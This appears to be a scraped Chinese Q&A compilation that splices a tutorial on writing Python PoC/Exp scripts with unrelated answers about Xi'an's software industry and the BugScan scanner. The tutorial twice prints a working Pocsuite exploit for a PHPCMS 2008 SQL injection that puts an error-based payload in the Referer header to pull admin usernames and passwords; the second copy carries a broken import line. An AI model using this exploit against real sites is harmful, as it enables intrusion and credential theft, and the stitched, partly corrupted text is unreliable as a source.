bugscan,bugscaner网图
基于Python 来编写 Poc/Exp 该怎么入门?
其实吧,无论乌云的Tangscan也好,知道创宇的Pocsuite也好,还有Beebeeto也好(Bugscan没写过,不是特别了解不过应该差不多),关于Web的Poc和Exp,都极度依赖于两个Python库。
1. Requests : 模拟Web的请求和响应等交互动作。
2. Re : 正则表达式,用来验证返回的结果是否符合漏洞的预期,从而验证漏洞是否存在。
其余的大部分代码都是漏洞的信息。
以Pocsuite和Tangscan为例:
Pocsuite官方文档例子:
#!/usr/bin/env python
# coding: utf-8
import re
import urlparse
from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register
class TestPOC(POCBase):
vulID = '62274' # ssvid
version = '1'
author = ['Medici.Yan']
vulDate = '2011-11-21'
createDate = '2015-09-23'
updateDate = '2015-09-23'
references = ['']
name = '_62274_phpcms_2008_place_sql_inj_PoC'
appPowerLink = ''
appName = 'PHPCMS'
appVersion = '2008'
vulType = 'SQL Injection'
desc = '''
phpcms 2008 中广告模块,存在参数过滤不严,
导致了sql注入漏洞,如果对方服务器开启了错误显示,可直接利用,
如果关闭了错误显示,可以采用基于时间和错误的盲注
'''
samples = ['']
def _attack(self):
result = {}
vulurl = urlparse.urljoin(self.url, '/data/js.php?id=1')
payload = "1', (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(char(45,45),username,char(45,45,45),password,char(45,45)) from phpcms_member limit 1))a from information_schema.tables group by a)b), '0')#"
head = {
'Referer': payload
}
resp = req.get(vulurl, headers=head)
if resp.status_code == 200:
match_result = re.search(r'Duplicate entry \'1--(.+)---(.+)--\' for key', resp.content, re.I | re.M)
if match_result:
result['AdminInfo'] = {}
result['AdminInfo']['Username'] = match_result.group(1)
result['AdminInfo']['Password'] = match_result.group(2)
return self.parse_attack(result)
def _verify(self):
result = {}
vulurl = urlparse.urljoin(self.url, '/data/js.php?id=1')
payload = "1', (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2), md5(1))a from information_schema.tables group by a)b), '0')#"
head = {
'Referer': payload
}
resp = req.get(vulurl, headers=head)
if resp.status_code == 200 and 'c4ca4238a0b923820dcc509a6f75849b' in resp.content:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = vulurl
result['VerifyInfo']['Payload'] = payload
return self.parse_attack(result)
def parse_attack(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('Internet nothing returned')
return output
register(TestPOC)
可以看到从代码11到28行都是漏洞的一些信息,真正的功能函数只有_attack和_verify两个而已。甚至这个例子有点繁琐了,现在大大们都是把exploit写在verify里面,所以真正起到功能的,也就不到十行的代码。这个库其实就是Requests。用Requests模拟手工注入的Post提交,用正则匹配提取和验证必要信息,简单说起来就是这两个步骤。
这么一来你再看看其他的由Python写的Poc和Exp就大同小异了。Poc/Exp总的说来就只是用程序代替手工的过程而已,所以了解了漏洞的原理和认证方法之后就简单了。

渗透工程师接活需要什么
题主问的是渗透工程师接活需要什么条件吗?需要以下条件:
1、熟练使用Python。
2、了解常见的安全漏洞,并知道如何利用防范。
3、熟练使用常见渗透测试工具,比如metasploit,bugscan。
4、熟悉Linux漏洞,比如缓冲区溢出、格式化字符串漏洞。
如何评价bugscan这款网络扫描器
嗯,这些都是有过优化的。。。
Web扫描其实是IO密集型的,多数的时间都是消耗在请求的等待上,不同语言导致的效率差别基本上是体现不出来的。
对于针对指纹的扫描就是对扫描速度的优化,我们有两类插件,通用型插件(爬虫,指纹识别,端口识别等等)和应用型插件(比如专门针对DZ的某个漏洞插件),开始的时候通用型插件先进行扫描,得到了一系列信息后针对启动应用型插件。
另外关于指纹的精准性,这个只能通过审核去筛选高质量可靠的指纹,但就BUGSCAN到现在的情况统计,指纹都是可靠的,基本上没有误报。。。
另外现在BUGSCAN扫一个小站,页面几百(类似页面过滤开启)的那种就是几分钟的事,这个时间和手工的比起来如何呢?
西安软件公司那么多,我们用的软件却很少见西安开发的,这是为何?
作为一个曾经在西安做过软件开发的技术人员回答一下,西安这边开发大致有这几这几种,首先呢,是大公司在西安的研发部门,比如像华为,中兴,都在西安设有研发机构,这些软件大部分都是自用或者说镶嵌在产品中,另外一大部分呢,是西安的外包产业,这部分产业都是对外的外包,所以说是看不到什么软件产品的。然后是西安的一些基于互联网的企业这些企业相比,武汉或成都的互联网企业,量级还是比较小的,更不要和北京或者杭州的互联网企业相比了。
我之前所在的软件公司是做软件产品的,但是由于西安的市场非常小,在全国推广也十分不便,最后公司战略决策把总部迁到了广州。这也是一个很明显的例子,因为有很多企业只是把研发放到了西安,但是总部都是在北京或者上海。
还有一大部分就是纯做技术的公司,这些公司只是卖一些组件,结成到别人的系统里面去,所以用户是看不到的。
这也是为什么西安的软件公司那么多,但是市面上很难看到相应的软件产品。
作为这个行业的人力资源服务商,我谈点看法。
1.西安软件行业的特点是外包为主。
西安高新区有西安软件园、软件新城等园区,聚集了大量的软件企业。其中围绕华为的odm企业就非常多,很多还不是西安本地的,而是来自北上广的西安分公司、研发中心或者子公司。比如说思特沃克、润和软件、软通动力、中软国际、上海易宝、深圳卓翼、美格、三旗通讯等等,主要做华为终端、大数据、云等外包或者ODM软件,或者银行业务软件,或者晕欧美日本的软件外包等西安能接到这些软件业务的企业很少。
这样的企业占据多数,这样会让人觉得软件企业比较多,但是真正属于西安本地土生土长的企业很少。
2.西安本地软件企业规模小,多以行业软件、app、企业系统软件为主。
比如有些专注于电力行业的,还有专注于财税金融行业、食药行业、智慧城市、工业信息化、军工数据链管理等。这些软件用户为行业客户,应用领域窄,不为广大受众所知。
这些软件公司有的做系统集成的、有做配套的,有做小系统的。
具体名字我这里就不提起了。
3.西安的软件公司需要有大梦想,产业空间还是比较大的。
西安软件人才很充足,类别也丰富,层次分布也合理。目前除了人工智能、大数据略少之外,各个行业的软件人才数量不错,底层软件、嵌入式的、应用软件、架构师级别、项目管理、产品经理等人才质量都不错。在高新区各类软件人才有20余万人。
你目前可能看不到很多的西安软件,因为它在火电厂的dcs里、卫星里、车载终端里、雷达里、银行里,你用的手机某个功能业务出自于西安软件企业的研发工程师之手。
希望西安本土的软件企业争口气,越来越强!
西安的软件公司人员, 不是华为的,就是华为外包的 ,可见西安外包产业链之强大!
西安本土都有哪些出名的IT公司呢?下面列举几个,欢迎大家补充(当然,像其他外地企业引进的研发中心这里
就不再列举了)
一家致力于寻找智能移动设备应用领域创新机会的移动互联网产品开发商、发行商和服务提供商。主要产品有「产品文件大师」,「极助手」。
安全领域,为支付宝等提供交易安全保障。旗下主打产品有社区化的BugScan分布式扫描平台、BugFeel漏洞感知平台、CloverSec实验室。
前期主要针对海外市场,目前已经开始在国内开设瑜伽馆,以及开始电商业务 。
全球移动营销,西安目前的独角兽企业。
喜欢漫画的同学应该都知道王尼玛的大名。
为什么很少看到西安开发的软件?
其实原因很简单,很多并非互联网产品,受众群体不一样,导致大家不太清楚。举个简单的例子,华为、中兴的基站开发,很多就处于我们西安研发工程师之手,但是又有几个人能看到真正的产品呢?「信源豆豆」这样一款即时通讯软件,用户主要是军工群体,又有多少普通人知道这款产品呢?他也是北信源在西安研发中心的员工参与开发的。
西安的互联网公司多吗?真的是很多。但是其中一大部分是做外包项目(中软国际、软
通动力、思特沃克、佰钧成等),网站建设和网络运营的,只有那么几个是能做自己的
产品的。
西安的互联网氛围真的不是很好,导致很多优秀的企业都有迁北而上的意思,他们遇到
的是原因无非是---- 招人难,拿投资难,大氛围不好 。这是一个恶性循环。初创公司差
不多的都迁走了,本地的毕业生又找不下中意的公司,只好去别的地方。于是又回到开
头了。况且在西安找投资难,很多小而美的初创或许经历不到成功的那一刻就死了。
希望在“一带一路”的带领下,西安的互联网大环境越来越好!
西安软件开发企业在国际上占有重要一席,水平也很高,因分工不同,做的都是代工或委托业务。特别在设备驱动和应用软件方面是国内顶尖,比如数控机床、3D打印、光学处理,飞控、雷达扫描分析等,这是与一般民生关系较远,但对国家整体实力的支撑影响巨大!当然软件企业汇集西安的原因是高校和科研院所多,人才聚集的效应;同时相对北上广深等城市,人力资源成本相对较低。西安的软件人才估计有15 20万人,行业上是国内最集中的地区,但企业数量200家以上,大企业确实较少。另一方面,小企业较多,也说明活力强,有各自的特点,发展潜力大。
西安的软件公司都是外包和项目型开发为主;我使用广泛的应用软件主要集中在北深沪杭这种软件人才高度聚集的一线城市
西安的软件公司确实很多,市面上也确实很少看不到西安开发的软件,这是因为西安开发软件的公司,大多是外包服务形式的。
在软件公司集中的西安高新区,就曾经一度把软件外包当成主推业务,面向全球招徕各种软件外包服务合作。
这种模式当然解决了很多就业问题,同时也产生了很多问题,比如自身品牌不强,业务严重依赖上游厂商,利润其实并不高等等,就像富士康一样,给苹果代工这么多年,自己的品牌产品屈指可数,利润也大多依靠大量人力成本才能完成。
所以,西安的软件开发水平不是不行,而是太没有自主品牌了。
这个问题分三点来看,第一:西安软件公司是以外包和嵌入产品的非常多。这个的门槛也相对高,很多大公司和技术性公司都去搞这类了。这类产品根本看不到谁做的或者是谁家的产品。第二:西安还有一部分公司是搞非标软件产品的公司特别多,跟着市场跑,根据客户需求给客户定制软件。第三:就是西安软件的起步比较晚,进去门槛低。很多公司就立足于市场潮流,今年搞微信小程序,明年搞微商城,搞抖音程序那个抓钱就搞那个。
比较知名的软件公司和产品需要公司产品的沉淀和用户范围的扩充。目前西安的软件公司除了外包和定制开发而在都没有做标准产品的意识!
阿筑工程管理服务平台算一个,西安春辉软件 科技 有限公司研发
西安的软件公司虽然多,但真正做软件开发的几乎没有,大部分都是做软件周边的业务,如软件包装,广告宣传等等,因此市面上极少有软件是西安开发的!
这个很好理解,就是那种软件外包的公司,就像印度的软件业很发达,很多就是承接像google这样大公司、 游戏 公司一样的。
产业集群、 社会 化分工明确和细分,这个是 社会 发展的必然。
如何使用python编写poc,exp
然后来谈谈自己的看法:
其实吧,无论乌云的Tangscan也好,知道创宇的Pocsuite也好,还有Beebeeto也好(Bugscan没写过,不是特别了解不过应该差不多),关于Web的Poc和Exp,都极度依赖于两个Python库。
1. Requests : 模拟Web的请求和响应等交互动作。
2. Re : 正则表达式,用来验证返回的结果是否符合漏洞的预期,从而验证漏洞是否存在。
其余的大部分代码都是漏洞的信息。
Pocsuite官方文档例子:
#!/usr/bin/env python
# coding: utf-8
import re
import urlparse
from t import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register
class TestPOC(POCBase):
vulID = '62274' # ssvid
version = '1'
author = ['Medici.Yan']
vulDate = '2011-11-21'
createDate = '2015-09-23'
updateDate = '2015-09-23'
references = ['']
name = '_62274_phpcms_2008_place_sql_inj_PoC'
appPowerLink = ''
appName = 'PHPCMS'
appVersion = '2008'
vulType = 'SQL Injection'
desc = '''
phpcms 2008 中广告模块,存在参数过滤不严,
导致了sql注入漏洞,如果对方服务器开启了错误显示,可直接利用,
如果关闭了错误显示,可以采用基于时间和错误的盲注
'''
samples = ['']
def _attack(self):
result = {}
vulurl = urlparse.urljoin(self.url, '/data/js.php?id=1')
payload = "1', (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(char(45,45),username,char(45,45,45),password,char(45,45)) from phpcms_member limit 1))a from information_schema.tables group by a)b), '0')#"
head = {
'Referer': payload
}
resp = req.get(vulurl, headers=head)
if resp.status_code == 200:
match_result = re.search(r'Duplicate entry \'1--(.+)---(.+)--\' for key', resp.content, re.I | re.M)
if match_result:
result['AdminInfo'] = {}
result['AdminInfo']['Username'] = match_result.group(1)
result['AdminInfo']['Password'] = match_result.group(2)
return self.parse_attack(result)
def _verify(self):
result = {}
vulurl = urlparse.urljoin(self.url, '/data/js.php?id=1')
payload = "1', (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2), md5(1))a from information_schema.tables group by a)b), '0')#"
head = {
'Referer': payload
}
resp = req.get(vulurl, headers=head)
if resp.status_code == 200 and 'c4ca4238a0b923820dcc509a6f75849b' in resp.content:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = vulurl
result['VerifyInfo']['Payload'] = payload
return self.parse_attack(result)
def parse_attack(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('Internet nothing returned')
return output
register(TestPOC)
可以看到从代码11到28行都是漏洞的一些信息,真正的功能函数只有_attack和_verify两个而已。甚至这个例子有点繁琐了,现在大大们都是把exploit写在verify里面,所以真正起到功能的,也就不到十行的代码。pocsuite.net 这个库其实就是Requests。用Requests模拟手工注入的Post提交,用正则匹配提取和验证必要信息,简单说起来就是这两个步骤。
这么一来你再看看其他的由Python写的Poc和Exp就大同小异了。Poc/Exp总的说来就只是用程序代替手工的过程而已,所以了解了漏洞的原理和认证方法之后就简单了。
代码很简单最主要的,还是对于漏洞的理解。
先说到这里,有空之后再写一些别的。